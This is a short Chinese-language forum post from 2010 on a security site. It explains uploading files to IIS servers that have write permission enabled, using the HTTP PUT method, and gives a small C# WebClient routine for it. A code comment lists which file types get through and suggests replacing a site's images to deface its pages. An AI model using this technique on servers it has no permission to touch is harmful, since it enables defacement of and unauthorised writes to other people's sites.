上传文件 -----作者:ssLong
由于种种原因,开始学习web安全,初来乍到,所以是个不能再菜的菜鸟,但是看到看雪有这个模块,手也是很痒,所以想写点东西,与大家探讨学习...希望高人们指教,感激不尽!
上传文件漏洞,对于一个安全爱好者来说都不会陌生,一般指网站中有上传功能的地方,没有对上传文件的格式进行限制,(更准确点说,没有采用允许上传文件类型的策略,而是采用禁止上传文件类型的方法,让攻击者有机可乘)然而我说的这个可以上传文件的方法主要不是指这个,而是http put方法上传文件。
大家都知道,web使用的是应用层的http协议,然而http协议有很多方法,比如常用的get、post等常用的提交表单方法,然而http还有很多不常用的方法,put就是其中之一,可以实现上传文件功能。但是需要服务器开启该功能。这里我拿IIS服务器为例。
首先开启IIS使用put方法上传文件的功能:选中 IIS下 网站 右键 属性 主目录 本地路径下的 写入 选项 即 如图所示:
这样这个web服务器就可以使用http put方法进行上传文件了!
直接使用C#下的WebClient 可以很方便的实现 http put方法,具体代码如下
/// <summary>
/// PUT 方法只要开启写入就可以上传文件txt/html/gif /php等图片(不能asp/aspx/shtm/cer/asa/stm/
/// 因此当网站提供IIS写入功能可以上传gif等文件然后替换原来的图片达到修改页面的目的
/// </summary>
/// <param name="url"></param>
/// <param name="local"></param>
/// <returns></returns>
public static bool UpLoadFile(String url, String local)
{
try
{
System.Net.WebClient myWebClient = new System.Net.WebClient();
byte[] ret = myWebClient.UploadFile(url, "PUT", local);
String strMessage = Encoding.ASCII.GetString(ret,0,ret.Length);
MessageBox.Show(strMessage);
}
catch (Exception exp)
{
MessageBox.Show(exp.Message);
return false;
}
return true;
}
具体程序见附近
- 标 题:http put上传文件
- 作 者:Possible
- 时 间:2010-06-10 18:15:50
- 链 接:http://bbs.pediy.com/showthread.php?t=114878